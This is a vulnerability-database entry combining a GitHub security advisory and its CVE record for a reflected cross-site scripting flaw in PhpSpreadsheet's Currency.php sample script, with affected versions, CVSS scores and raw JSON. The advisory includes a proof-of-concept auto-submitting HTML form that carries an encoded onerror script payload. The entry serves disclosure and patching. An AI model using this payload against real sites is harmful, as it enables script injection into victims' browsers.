GHSA-J2XG-CJCX-4677

Vulnerability from github – Published: 2025-01-03 17:06 – Updated: 2025-03-06 18:18

Summary

PhpSpreadsheet allows unauthorized Reflected XSS in Currency.php file

Details

Unauthorized Reflected XSS in `Currency.php` file

Product: Phpspreadsheet Version: version 3.6.0 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVSS vector v.3.1: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N) CVSS vector v.4.0: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L) Description: using the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php script, an attacker can perform XSS-type attack Impact: executing arbitrary JavaScript code in the browser Vulnerable component: the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php file Exploitation conditions: an unauthorized user Mitigation: sanitization of the currency variable Researcher: Aleksey Solovev (Positive Technologies)

Research

The researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in Currency.php file) in Phpspreadsheet.

There is no sanitization in the /vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php file, which leads to the possibility of a XSS attack. Strings are formed using the currency parameter without sanitization, controlled by an attacker.

fig9

Figure 9. A fragment of the query in which a string and a parameter are formed without sanitization

An attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.

Listing 5. HTML form that demonstrates the exploitation of the XSS vulnerability

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://192.***.***.***/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php" method="POST">
      <input type="hidden" name="number" value="1234&#46;5678" />
      <input type="hidden" name="currency" value="&#36;&apos;&quot;&lt;img&#32;src&#61;1&#32;onerror&#61;alert&#40;&#41;&gt;" />
      <input type="hidden" name="decimals" value="2" />
      <input type="hidden" name="position" value="1" />
      <input type="hidden" name="spacing" value="0" />
      <input type="hidden" name="submit" value="Display&#32;Mask" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

After sending the script provided in Listing 5, the XSS vulnerability is exploited. Figure 10 shows the execution of arbitrary JavaScript code during the submission of a POST form.

fig10

Figure 10. Executing arbitrary JavaScript code

Credit

This vulnerability was discovered by Aleksey Solovev (Positive Technologies)

Severity

7.1 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N

8.3 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L

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JSON

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.29.6"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.29.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.1.5"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.3.4"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.3.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpexcel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.8.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-56409"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-01-03T17:06:51Z",
    "nvd_published_at": "2025-01-03T17:15:08Z",
    "severity": "HIGH"
  },
  "details": "# Unauthorized Reflected XSS in `Currency.php` file\n\n**Product**: Phpspreadsheet\n**Version**: version 3.6.0\n**CWE-ID**: CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)\n**CVSS vector v.3.1**: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N)\n**CVSS vector v.4.0**: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L)\n**Description**: using the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php` script, an attacker can perform XSS-type attack\n**Impact**: executing arbitrary JavaScript code in the browser\n**Vulnerable component**: the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php` file\n**Exploitation conditions**: an unauthorized user\n**Mitigation**: sanitization of the `currency` variable\n**Researcher**: Aleksey Solovev (Positive Technologies)\n\n# Research\n\nThe researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in `Currency.php` file) in Phpspreadsheet.\n\nThere is no sanitization in the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php` file, which leads to the possibility of a XSS attack.\nStrings are formed using the `currency` parameter without sanitization, controlled by an attacker.\n\n![fig9](https://github.com/user-attachments/assets/dfac3fbf-de42-42af-8163-b76f0c54da6c)\n\n*Figure 9.  A fragment of the query in which a string and a parameter are formed without sanitization*\n\nAn attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.\n\n*Listing 5. HTML form that demonstrates the exploitation of the XSS vulnerability*\n\n```\n\u003chtml\u003e\n  \u003c!-- CSRF PoC - generated by Burp Suite Professional --\u003e\n  \u003cbody\u003e\n    \u003cform action=\"https://192.***.***.***/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php\" method=\"POST\"\u003e\n      \u003cinput type=\"hidden\" name=\"number\" value=\"1234\u0026#46;5678\" /\u003e\n      \u003cinput type=\"hidden\" name=\"currency\" value=\"\u0026#36;\u0026apos;\u0026quot;\u0026lt;img\u0026#32;src\u0026#61;1\u0026#32;onerror\u0026#61;alert\u0026#40;\u0026#41;\u0026gt;\" /\u003e\n      \u003cinput type=\"hidden\" name=\"decimals\" value=\"2\" /\u003e\n      \u003cinput type=\"hidden\" name=\"position\" value=\"1\" /\u003e\n      \u003cinput type=\"hidden\" name=\"spacing\" value=\"0\" /\u003e\n      \u003cinput type=\"hidden\" name=\"submit\" value=\"Display\u0026#32;Mask\" /\u003e\n      \u003cinput type=\"submit\" value=\"Submit request\" /\u003e\n    \u003c/form\u003e\n    \u003cscript\u003e\n      history.pushState(\u0027\u0027, \u0027\u0027, \u0027/\u0027);\n      document.forms[0].submit();\n    \u003c/script\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\n```\n\nAfter sending the script provided in Listing 5, the XSS vulnerability is exploited. Figure 10 shows the execution of arbitrary JavaScript code during the submission of a POST form. \n\n\u003cimg width=\"428\" alt=\"fig10\" src=\"https://github.com/user-attachments/assets/2be8c94b-03ac-40d9-aa7a-9d326eb79335\" /\u003e\n\n*Figure 10. Executing arbitrary JavaScript code*\n\n# Credit\nThis vulnerability was discovered by **Aleksey Solovev (Positive Technologies)**",
  "id": "GHSA-j2xg-cjcx-4677",
  "modified": "2025-03-06T18:18:55Z",
  "published": "2025-01-03T17:06:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-j2xg-cjcx-4677"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56409"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/commit/700a80346be269af668914172bc6f4521982d0b4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "PhpSpreadsheet allows unauthorized Reflected XSS in Currency.php file"
}

CVE-2024-56409 (GCVE-0-2024-56409)

Vulnerability from cvelistv5 – Published: 2025-01-03 17:05 – Updated: 2025-01-03 18:14

Title

PhpSpreadsheet vulnerable to unauthorized reflected XSS in Currency.php file

Summary

PhpSpreadsheet is a PHP library for reading and writing spreadsheet files. Versions prior to 3.7.0, 2.3.5, 2.1.6, and 1.29.7 are vulnerable to unauthorized reflected cross-site scripting in the `Currency.php` file. Using the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php` script, an attacker can perform a cross-site scripting attack. Versions 3.7.0, 2.3.5, 2.1.6, and 1.29.7 contain a patch for the issue.

Severity

8.3 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2025-01-03 18:14 UTC

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Assigner

GitHub_M mitre root

References

2 references

URL	Tags
https://github.com/PHPOffice/PhpSpreadsheet/secur…	x_refsource_CONFIRM
https://github.com/PHPOffice/PhpSpreadsheet/commi…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
PHPOffice	PhpSpreadsheet	Affected: >= 3.0.0, < 3.7.0 Affected: < 1.29.7 Affected: >= 2.0.0, < 2.1.6 Affected: >= 2.2.0, < 2.3.5

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JSON

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{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-56409",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-01-03T18:14:44.992064Z",
                "version": "2.0.3"
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        "providerMetadata": {
          "dateUpdated": "2025-01-03T18:14:49.852Z",
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          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-j2xg-cjcx-4677"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "PhpSpreadsheet",
          "vendor": "PHPOffice",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 3.0.0, \u003c 3.7.0"
            },
            {
              "status": "affected",
              "version": "\u003c 1.29.7"
            },
            {
              "status": "affected",
              "version": "\u003e= 2.0.0, \u003c 2.1.6"
            },
            {
              "status": "affected",
              "version": "\u003e= 2.2.0, \u003c 2.3.5"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "PhpSpreadsheet is a PHP library for reading and writing spreadsheet files. Versions prior to 3.7.0, 2.3.5, 2.1.6, and 1.29.7 are vulnerable to unauthorized reflected cross-site scripting in the `Currency.php` file. Using the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php` script, an attacker can perform a cross-site scripting attack. Versions  3.7.0, 2.3.5, 2.1.6, and 1.29.7 contain a patch for the issue."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 8.3,
            "baseSeverity": "HIGH",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "LOW",
            "subConfidentialityImpact": "LOW",
            "subIntegrityImpact": "HIGH",
            "userInteraction": "ACTIVE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "HIGH"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-79",
              "description": "CWE-79: Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
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      ],
      "providerMetadata": {
        "dateUpdated": "2025-01-03T17:06:47.870Z",
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      },
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        {
          "name": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-j2xg-cjcx-4677",
          "tags": [
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          ],
          "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-j2xg-cjcx-4677"
        },
        {
          "name": "https://github.com/PHPOffice/PhpSpreadsheet/commit/700a80346be269af668914172bc6f4521982d0b4",
          "tags": [
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      "source": {
        "advisory": "GHSA-j2xg-cjcx-4677",
        "discovery": "UNKNOWN"
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      "title": "PhpSpreadsheet vulnerable to unauthorized reflected XSS in Currency.php file"
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  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
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    "cveId": "CVE-2024-56409",
    "datePublished": "2025-01-03T17:05:43.272Z",
    "dateReserved": "2024-12-23T15:07:48.510Z",
    "dateUpdated": "2025-01-03T18:14:49.852Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

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